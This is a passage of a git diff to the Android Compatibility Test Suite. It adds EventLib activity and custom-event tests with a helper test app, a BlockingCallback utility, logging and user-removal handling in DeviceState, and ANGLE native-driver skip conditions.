+                .pollOrFail();
+    }
+
+    private void logCustomEventOnTestApp(String tag, String data) {
+        logCustomEventOnTestApp(UserHandle.CURRENT, tag, data);
+    }
+
+    private void logCustomEventOnTestApp() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+    }
+
+    private void scheduleCustomEventInOneSecondOnTestApp() {
+        hasScheduledEventsOnTestApp = true;
+
+        mScheduledExecutorService.schedule(
+                (Runnable) this::logCustomEventOnTestApp, 1, TimeUnit.SECONDS);
+    }
+
+    private void killTestApp() {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        CONTEXT.getSystemService(ActivityManager.class).forceStopPackage(TEST_APP_PACKAGE_NAME);
+    }
+
+    // TODO: Ensure tests work on O+
 }
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
index 765dca3..800ee9e 100644
--- a/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
@@ -24,12 +24,16 @@
 
 import com.android.eventlib.EventLogs;
 
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
 @RunWith(JUnit4.class)
-public class CustomEventTest {
+public final class CustomEventTest {
+
+    // TODO: We need a standard pattern for testing that events log correctly cross-process
+    // (when within the process serialization never happens)
 
     private static final Context CONTEXT = InstrumentationRegistry.getInstrumentation().getContext();
     private static final String TAG_1 = "TAG_1";
@@ -37,6 +41,11 @@
     private static final String DATA_1 = "DATA_1";
     private static final String DATA_2 = "DATA_2";
 
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
     @Test
     public void queryTag_works() {
         CustomEvent.logger(CONTEXT)
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
new file mode 100644
index 0000000..e26d1cf
--- /dev/null
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+import android.app.Activity;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityCreatedEventTest {
+
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    // TODO(scottjonathan): Replace mock with ContextActivity when ready
+    private final Activity mActivity = mock(Activity.class);
+    private final Bundle mSavedInstanceState = new Bundle();
+    private final PersistableBundle mPersistentState = new PersistableBundle();
+
+    // These values come from the mock
+    private final String DEFAULT_ACTIVITY_NAME = mActivity.getClass().getName();
+    private final String DEFAULT_ACTIVITY_SIMPLE_NAME = mActivity.getClass().getSimpleName();
+
+    private static final String CUSTOM_ACTIVITY_NAME = "customActivityName";
+
+    @Before
+    public void setUp() {
+        when(mActivity.getApplicationContext()).thenReturn(CONTEXT);
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void querySavedInstanceState_works() {
+        ActivityCreatedEvent.logger(mActivity, mSavedInstanceState).log();
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .withSavedInstanceState(mSavedInstanceState);
+
+        assertThat(eventLogs.get().savedInstanceState()).isEqualTo(mSavedInstanceState);
+    }
+
+    @Test
+    public void queryPersistentState_works() {
+        ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+                .setPersistentState(mPersistentState)
+                .log();
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .withPersistentState(mPersistentState);
+
+        assertThat(eventLogs.get().persistentState()).isEqualTo(mPersistentState);
+    }
+
+    @Test
+    public void queryName_customValueOnLogger_works() {
+        ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+                .setName(CUSTOM_ACTIVITY_NAME)
+                .log();
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                .withActivityName(CUSTOM_ACTIVITY_NAME);
+
+        assertThat(eventLogs.get().name()).isEqualTo(CUSTOM_ACTIVITY_NAME);
+    }
+
+    @Test
+    public void querySimpleName_customValueOnLogger_works() {
+        ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+                .setSimpleName(CUSTOM_ACTIVITY_NAME)
+                .log();
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .withActivitySimpleName(CUSTOM_ACTIVITY_NAME);
+
+        assertThat(eventLogs.get().simpleName()).isEqualTo(CUSTOM_ACTIVITY_NAME);
+    }
+
+    @Test
+    public void queryName_defaultValue_works() {
+        ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+                .log();
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .withActivityName(DEFAULT_ACTIVITY_NAME);
+
+        assertThat(eventLogs.get().name()).isEqualTo(DEFAULT_ACTIVITY_NAME);
+    }
+
+    @Test
+    public void querySimpleName_defaultValue_works() {
+        ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+                .log();
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .withActivitySimpleName(DEFAULT_ACTIVITY_SIMPLE_NAME);
+
+        assertThat(eventLogs.get().simpleName()).isEqualTo(DEFAULT_ACTIVITY_SIMPLE_NAME);
+    }
+
+    @Test
+    public void queryActivityClass_works() {
+        ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+                .log();
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .withActivityClass(mActivity.getClass());
+
+        assertThat(eventLogs.get()).isNotNull();
+    }
+
+}
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
new file mode 100644
index 0000000..c1f2716
--- /dev/null
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class EventLibActivityTest {
+
+    private static final String GENERATED_ACTIVITY_CLASS_NAME
+            = "com.android.generatedEventLibActivity";
+
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void launchEventLibActivity_logsActivityCreatedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(CONTEXT.getPackageName());
+        intent.setClassName(CONTEXT.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        CONTEXT.startActivity(intent);
+
+        EventLogs<ActivityCreatedEvent> eventLogs = ActivityCreatedEvent
+                .queryPackage(CONTEXT.getPackageName())
+                .withActivityClass(EventLibActivity.class);
+
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void launchEventLibActivity_withGeneratedActivityClass_logsActivityCreatedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(CONTEXT.getPackageName());
+        intent.setClassName(CONTEXT.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        CONTEXT.startActivity(intent);
+
+        EventLogs<ActivityCreatedEvent> eventLogs = ActivityCreatedEvent
+                .queryPackage(CONTEXT.getPackageName())
+                .withActivityName(GENERATED_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+}
diff --git a/common/device-side/eventlib/src/test/testapp/Android.bp b/common/device-side/eventlib/src/test/testapp/Android.bp
new file mode 100644
index 0000000..edf5790
--- /dev/null
+++ b/common/device-side/eventlib/src/test/testapp/Android.bp
@@ -0,0 +1,12 @@
+android_test_helper_app {
+    name: "EventLibTestApp",
+    sdk_version: "current",
+    srcs: [
+        "src/main/**/*.java"
+    ],
+    static_libs: [
+        "EventLib"
+    ],
+    manifest: "src/main/AndroidManifest.xml",
+    min_sdk_version: "26"
+}
\ No newline at end of file
diff --git a/common/device-side/eventlib/src/test/testapp/src/main/AndroidManifest.xml b/common/device-side/eventlib/src/test/testapp/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..f915144
--- /dev/null
+++ b/common/device-side/eventlib/src/test/testapp/src/main/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.eventlib.tests.testapp">
+    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
+    <application>
+        <activity android:name=".EventLoggingActivity"
+                  android:exported="true">
+        </activity>
+    </application>
+</manifest>
+
diff --git a/common/device-side/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java b/common/device-side/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java
new file mode 100644
index 0000000..63ca5be
--- /dev/null
+++ b/common/device-side/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java
@@ -0,0 +1,22 @@
+package com.android.eventlib.tests.testapp;
+
+import android.app.Activity;
+
+import com.android.eventlib.events.CustomEvent;
+
+/**
+ * An {@link Activity} which, when resumed, logs a {@link CustomEvent} with the
+ * passed in tag and data.
+ */
+public class EventLoggingActivity extends Activity {
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        CustomEvent.logger(this)
+                .setTag(getIntent().getStringExtra("TAG"))
+                .setData(getIntent().getStringExtra("DATA"))
+                .log();
+    }
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingCallback.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingCallback.java
new file mode 100644
index 0000000..38fcee7
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingCallback.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static junit.framework.TestCase.fail;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Subclass this to create a blocking version of a callback. For example:
+ *
+ * {@code
+ *     private static class KeyChainAliasCallback extends BlockingCallback<String> implements
+ *             android.security.KeyChainAliasCallback {
+ *         @Override
+ *         public void alias(final String chosenAlias) {
+ *             callbackTriggered(chosenAlias);
+ *         }
+ *     }
+ * }
+ *
+ * <p>an instance of KeyChainAliasCallback can then be passed into a method, and the result can
+ * be fetched using {@code .await()};
+ */
+public abstract class BlockingCallback<E> {
+    private static final int DEFAULT_TIMEOUT_SECONDS = 120;
+
+    private final CountDownLatch mLatch = new CountDownLatch(1);
+    private E mValue = null;
+
+    /** Call this method from the callback method to mark the response as received. */
+    protected void callbackTriggered(E value) {
+        mValue = value;
+        mLatch.countDown();
+    }
+
+    /**
+     * Fetch the value passed into the callback.
+     *
+     * <p>Throws an {@link AssertionError} if the callback is not triggered in
+     * {@link #DEFAULT_TIMEOUT_SECONDS} seconds.
+     */
+    public E await() throws InterruptedException {
+        return await(DEFAULT_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+    }
+
+    /**
+     * Fetch the value passed into the callback.
+     *
+     * <p>Throws an {@link AssertionError} if the callback is not triggered before the timeout
+     * elapses.
+     */
+    public E await(long timeout, TimeUnit unit) throws InterruptedException {
+        if (!mLatch.await(timeout, unit)) {
+            fail("Callback was not received");
+        }
+        return mValue;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java
index a686450..404c2dd 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java
@@ -108,6 +108,8 @@
     private Statement applyTest(final Statement base, final Description description) {
         return new Statement() {
             @Override public void evaluate() throws Throwable {
+                Log.d("DeviceState", "Preparing state for test " + description.getMethodName());
+
                 assumeFalse(mSkipTestsReason, mSkipTests);
 
                 if (description.getAnnotation(RequireRunOnPrimaryUser.class) != null) {
@@ -157,13 +159,17 @@
                     }
                 }
 
+                Log.d("DeviceState", "Finished preparing state for test " + description.getMethodName());
+
                 try {
                     base.evaluate();
                 } finally {
+                    Log.d("DeviceState", "Tearing down state for test " + description.getMethodName());
                     teardownNonShareableState();
                     if (!mSkipTestTeardown) {
                         teardownShareableState();
                     }
+                    Log.d("DeviceState", "Finished tearing down state for test " + description.getMethodName());
                 }
             }};
     }
@@ -371,13 +377,15 @@
         final String type;
         final int parent;
         final boolean isPrimary;
+        final boolean removing;
         final Set<String> flags;
 
-        UserInfo(int id, String type, int parent, boolean isPrimary, Set<String> flags) {
+        UserInfo(int id, String type, int parent, boolean isPrimary, boolean removing, Set<String> flags) {
             this.id = id;
             this.type = type;
             this.parent = parent;
             this.isPrimary = isPrimary;
+            this.removing = removing;
             this.flags = flags;
         }
 
@@ -392,7 +400,13 @@
     private static final Pattern USERS_PARENT_PATTERN = Pattern.compile("parentId=(\\d+)");
     private static final Pattern USERS_FLAGS_PATTERN = Pattern.compile("Flags: \\d+ \\((.*)\\)");
 
+
     private Set<UserInfo> listUsers() {
+        return listUsers(/* includeRemoving= */ false);
+    }
+
+
+    private Set<UserInfo> listUsers(boolean includeRemoving) {
         String command = "dumpsys user";
         String commandOutput = runCommandWithOutput(command);
 
@@ -437,12 +451,17 @@
             if (!userFlagsMatcher.find()) {
                 throw new IllegalStateException("Bad dumpsys user output: " + commandOutput);
             }
+            boolean removing = userString.contains("<removing>");
+
             Set<String> flagNames = new HashSet<>();
             for (String flag : userFlagsMatcher.group(1).split("\\|")) {
                 flagNames.add(flag);
             }
 
-            listUsers.add(new UserInfo(userId, userType, userParent, isPrimary, flagNames));
+            if (!removing || includeRemoving) {
+                listUsers.add(
+                        new UserInfo(userId, userType, userParent, isPrimary, removing, flagNames));
+            }
         }
 
         return listUsers;
@@ -455,11 +474,15 @@
         if (getWorkProfileId(forUser) == null) {
             createWorkProfile(resolveUserTypeToUserId(forUser));
         }
+        int workProfileId = getWorkProfileId(forUser);
+
+        // TODO(scottjonathan): Can make this quicker by checking if we're already running
+        runCommandWithOutput("am start-user -w " + workProfileId);
         if (installTestApp) {
-            installInProfile(getWorkProfileId(forUser),
+            installInProfile(workProfileId,
                     sInstrumentation.getContext().getPackageName());
         } else {
-            uninstallFromProfile(getWorkProfileId(forUser),
+            uninstallFromProfile(workProfileId,
                     sInstrumentation.getContext().getPackageName());
         }
     }
@@ -551,7 +574,6 @@
                 runCommandWithOutput(
                         "pm create-user --profileOf " + parentUserId + " --managed work");
         final int profileId = Integer.parseInt(createUserOutput.split(" id ")[1].trim());
-        runCommandWithOutput("am start-user -w " + profileId);
         createdUserIds.add(profileId);
     }
 
@@ -589,13 +611,17 @@
         InputStream inputStream = new FileInputStream(p.getFileDescriptor());
 
         try (Scanner scanner = new Scanner(inputStream, UTF_8.name())) {
-            return scanner.useDelimiter("\\A").next();
+            String s = scanner.useDelimiter("\\A").next();
+            Log.d("DeviceState", "Running command " + command + " got output: " + s);
+            return s;
         } catch (NoSuchElementException e) {
+            Log.d("DeviceState", "Running command " + command + " with no output", e);
             return "";
         }
     }
 
     private ParcelFileDescriptor runCommand(String command) {
+        Log.d("DeviceState", "Running command " + command);
         return getAutomation()
                 .executeShellCommand(command);
     }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
index fb18b06..1964f64 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
@@ -124,6 +124,10 @@
             false, ModuleType.APEX,
             "B7:A3:DB:7A:86:6D:18:51:3F:97:6C:63:20:BC:0F:E6:E4:01:BA:2F:26:96:B1:C3:94:2A:F0"
                     + ":FE:29:31:98:B1"),
+    TZDATA3("com.google.android.tzdata3",
+            true, ModuleType.APEX,
+            "58:8B:C4:EE:04:1F:47:FA:49:01:8F:66:D2:2E:18:16:35:A5:E3:47:15:2C:06:88:D9:F0:47"
+                    + ":B5:9D:66:19:57"),
     ;
 
     public final String packageName;
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index 9bb55fa..45bb43e 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -110,6 +110,12 @@
         return (angleSupported != null) && (angleSupported.equals("true"));
     }
 
+    static boolean isNativeDriverAngle(ITestDevice device) throws Exception {
+        String driverProp = device.getProperty("ro.hardware.egl");
+
+        return (driverProp != null) && (driverProp.equals("angle"));
+    }
+
     static void startActivity(ITestDevice device, String action) throws Exception {
         // Run the ANGLE activity so it'll clear up any 'default' settings.
         device.executeShellCommand("am start --user " + device.getCurrentUser() +
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
index b63dd99..9431088 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -127,6 +127,7 @@
     @Test
     public void testUseDefaultDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -144,6 +145,7 @@
     @Test
     public void testUseAngleDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -161,6 +163,7 @@
     @Test
     public void testUseNativeDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -178,6 +181,7 @@
     @Test
     public void testSettingsLengthMismatch() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
         installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -201,6 +205,7 @@
     @Test
     public void testUseInvalidDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -217,6 +222,7 @@
     @Test
     public void testUpdateDriverValues() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -239,6 +245,7 @@
     @Test
     public void testMultipleDevOptionsAngleNative() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
         installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -263,6 +270,7 @@
     @Test
     public void testMultipleUpdateDriverValues() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
         installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -450,6 +458,7 @@
     @Test
     public void testAngleInUseDialogBoxWithAngle() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
 
@@ -465,6 +474,7 @@
     @Test
     public void testAngleInUseDialogBoxWithNative() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
 
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
index 326cb7a..4f0859e 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
@@ -97,6 +97,7 @@
     @Test
     public void testEmptyRulesFile() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         pushRulesFile(RULES_FILE_EMPTY);
 
@@ -113,6 +114,7 @@
     @Test
     public void testEnableAngleRulesFile() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         pushRulesFile(RULES_FILE_ENABLE_ANGLE);
 
diff --git a/hostsidetests/apex/src/android/apex/cts/ApexTest.java b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
index 5ccdaf3..6652ef02 100644
--- a/hostsidetests/apex/src/android/apex/cts/ApexTest.java
+++ b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
@@ -36,16 +36,17 @@
 
   private boolean isGSI() throws Exception {
     String systemProduct = getDevice().getProperty("ro.product.system_ext.name");
-    return systemProduct.equals("aosp_arm")
-      || systemProduct.equals("aosp_arm64")
-      || systemProduct.equals("aosp_x86")
-      || systemProduct.equals("aosp_x86_64")
-      || systemProduct.equals("aosp_arm_ab") // _ab for Legacy GSI
-      || systemProduct.equals("aosp_arm64_ab")
-      || systemProduct.equals("aosp_x86_ab")
-      || systemProduct.equals("aosp_x86_64_ab")
-      || systemProduct.equals("aosp_tv_arm")
-      || systemProduct.equals("aosp_tv_arm64");
+    return (null != systemProduct)
+        && (systemProduct.equals("aosp_arm")
+            || systemProduct.equals("aosp_arm64")
+            || systemProduct.equals("aosp_x86")
+            || systemProduct.equals("aosp_x86_64")
+            || systemProduct.equals("aosp_arm_ab") // _ab for Legacy GSI
+            || systemProduct.equals("aosp_arm64_ab")
+            || systemProduct.equals("aosp_x86_ab")
+            || systemProduct.equals("aosp_x86_64_ab")
+            || systemProduct.equals("aosp_tv_arm")
+            || systemProduct.equals("aosp_tv_arm64"));
   }
 
   /**
diff --git a/hostsidetests/appcompat/compatchanges/Android.bp b/hostsidetests/appcompat/compatchanges/Android.bp
index e0c389e..0e578ee 100644
--- a/hostsidetests/appcompat/compatchanges/Android.bp
+++ b/hostsidetests/appcompat/compatchanges/Android.bp
@@ -21,7 +21,9 @@
         "tradefed",
         "guava",
     ],
-    static_libs:["CompatChangeGatingTestBase"],
+    static_libs:[
+        "CompatChangeGatingTestBase",
+    ],
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml b/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml
index 28b33d2..21b7e93 100644
--- a/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml
+++ b/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml
@@ -15,7 +15,7 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.appcompat">
+        package="com.android.cts.appcompat.compatchanges">
     <!-- targetSdkVersion for this test must be below 1234 -->
     <uses-sdk android:targetSdkVersion="29"/>
     <application
@@ -25,6 +25,6 @@
 
     <instrumentation
         android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appcompat" />
+        android:targetPackage="com.android.cts.appcompat.compatchanges" />
 
 </manifest>
diff --git a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/CompatChangesTest.java b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/CompatChangesTest.java
deleted file mode 100644
index 7025a96..0000000
--- a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/CompatChangesTest.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.appcompat;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.Manifest;
-import android.app.compat.CompatChanges;
-import android.content.Context;
-import android.os.Process;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-/**
- * Tests for the {@link android.app.compat.CompatChanges} SystemApi.
- *
- * These test methods have additional setup and post run checks done host side by
- * {@link com.android.cts.appcompat.CompatChangesSystemApiTest}.
- *
- * The setup adds an override for the change id being tested, and the post run step checks if
- * that change id has been logged to statsd.
- */
-@RunWith(AndroidJUnit4.class)
-public final class CompatChangesTest {
-  private static final long CTS_SYSTEM_API_CHANGEID = 149391281;
-  @Before
-  public void setUp() {
-    InstrumentationRegistry.getInstrumentation().getUiAutomation()
-      .adoptShellPermissionIdentity(Manifest.permission.LOG_COMPAT_CHANGE,
-                                    Manifest.permission.READ_COMPAT_CHANGE_CONFIG);
-  }
-
-  @After
-  public void tearDown() {
-    InstrumentationRegistry.getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
-  }
-
-  /* Test run by CompatChangesSystemApiTest.testIsChangeEnabled */
-  @Test
-  public void isChangeEnabled_changeEnabled() {
